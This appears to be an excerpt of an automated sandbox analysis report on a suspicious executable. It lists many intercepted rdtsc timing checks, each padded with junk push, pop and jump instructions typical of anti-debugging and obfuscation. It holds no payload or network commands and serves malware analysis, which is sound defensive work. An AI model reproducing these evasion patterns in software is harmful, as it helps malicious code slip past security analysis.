Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 475EDA second address: 45CEAE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1807ED546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp], eax 0x0000000e call dword ptr [ebp+122D2EE9h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FD1807ED553h 0x0000001c jmp 00007FD1807ED54Bh 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 475F68 second address: 475F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47DC5A second address: 47DC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 476479 second address: 47647F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 476721 second address: 47672A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47672A second address: 47672E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 47672E second address: 476752 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jnc 00007FD1807ED553h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 476752 second address: 47676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 jnc 00007FD180B5C156h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 477065 second address: 477069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 45D9EB second address: 45D9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B2D2B second address: 4B2D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B2D31 second address: 4B2D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B3453 second address: 4B3457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B3614 second address: 4B3618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B960F second address: 4B9615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B9615 second address: 4B9655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FD180B5C15Bh 0x0000000a jmp 00007FD180B5C15Bh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FD180B5C164h 0x00000018 jmp 00007FD180B5C15Eh 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jo 00007FD180B5C156h 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B84B0 second address: 4B84B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D25 second address: 4B8D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D29 second address: 4B8D53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD1807ED558h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnl 00007FD1807ED546h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D53 second address: 4B8D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D59 second address: 4B8D67 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD1807ED546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D67 second address: 4B8D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D6B second address: 4B8D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FD1807ED552h 0x00000010 jng 00007FD1807ED546h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8D83 second address: 4B8D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD180B5C15Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8EB3 second address: 4B8EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4B8EBA second address: 4B8F00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD180B5C15Ah 0x00000008 jmp 00007FD180B5C15Dh 0x0000000d jmp 00007FD180B5C15Eh 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c jmp 00007FD180B5C163h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 42CA59 second address: 42CA6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 42CA6C second address: 42CA74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BEE8D second address: 4BEE9D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD1807ED546h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BEE9D second address: 4BEEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD180B5C169h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BF3E9 second address: 4BF3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BF3ED second address: 4BF40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD180B5C160h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BF574 second address: 4BF589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD1807ED550h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BF589 second address: 4BF59D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD180B5C15Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BFA48 second address: 4BFA65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007FD1807ED546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD1807ED54Ch 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BFA65 second address: 4BFA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BFA6A second address: 4BFA9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD1807ED54Fh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD1807ED559h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BFA9A second address: 4BFA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BFA9E second address: 4BFAA8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD1807ED546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4BE340 second address: 4BE346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C238F second address: 4C23C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD1807ED556h 0x00000008 jmp 00007FD1807ED54Dh 0x0000000d popad 0x0000000e jno 00007FD1807ED548h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C23C7 second address: 4C23CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C23CE second address: 4C23E8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD1807ED54Eh 0x00000008 jbe 00007FD1807ED54Eh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C5391 second address: 4C5397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C92C8 second address: 4C92F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD1807ED553h 0x0000000b popad 0x0000000c jl 00007FD1807ED564h 0x00000012 js 00007FD1807ED54Eh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C92F2 second address: 4C92F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C92F9 second address: 4C9301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8B5C second address: 4C8B89 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007FD180B5C156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD180B5C15Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FD180B5C158h 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4C8CD0 second address: 4C8CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4CC75A second address: 4CC760 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4CC8EF second address: 4CC8F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D2965 second address: 4D2969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 476BD1 second address: 476BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED54Ch 0x00000009 popad 0x0000000a js 00007FD1807ED54Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D928F second address: 4D92B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD180B5C168h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D93FA second address: 4D9418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED553h 0x00000009 jg 00007FD1807ED546h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D9572 second address: 4D9580 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD180B5C156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D9580 second address: 4D9584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D9584 second address: 4D958A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D9BA5 second address: 4D9BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007FD1807ED54Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4D9BB8 second address: 4D9BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD180B5C156h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DA9B9 second address: 4DA9BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DACCB second address: 4DACD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FD180B5C156h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DACD7 second address: 4DACE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DAFB5 second address: 4DAFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD180B5C15Fh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DAFCC second address: 4DAFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DFF6F second address: 4DFF75 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DEFB5 second address: 4DEFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DEFB9 second address: 4DEFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DEFBF second address: 4DEFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD1807ED551h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DF190 second address: 4DF194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DF50A second address: 4DF514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD1807ED546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4DF514 second address: 4DF52A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD180B5C15Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EE50D second address: 4EE517 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1807ED546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EE517 second address: 4EE523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EC6A8 second address: 4EC6C2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD1807ED54Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECC3B second address: 4ECC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECC3F second address: 4ECC57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FD1807ED550h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECC57 second address: 4ECC6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FD180B5C15Eh 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECC6E second address: 4ECC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1807ED559h 0x00000009 jnp 00007FD1807ED546h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECC9A second address: 4ECCB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD180B5C156h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD180B5C162h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECCB9 second address: 4ECCBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECCBD second address: 4ECCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD180B5C15Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECCD4 second address: 4ECCD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECCD8 second address: 4ECCDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ECCDC second address: 4ECCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4ED409 second address: 4ED416 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FD180B5C156h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EE36B second address: 4EE3A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FD1807ED546h 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d ja 00007FD1807ED546h 0x00000013 popad 0x00000014 jmp 00007FD1807ED555h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD1807ED54Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EC173 second address: 4EC177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EC177 second address: 4EC197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1807ED54Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 pop eax 0x00000012 jo 00007FD1807ED546h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	RDTSC instruction interceptor: First address: 4EC197 second address: 4EC1A5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD180B5C158h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
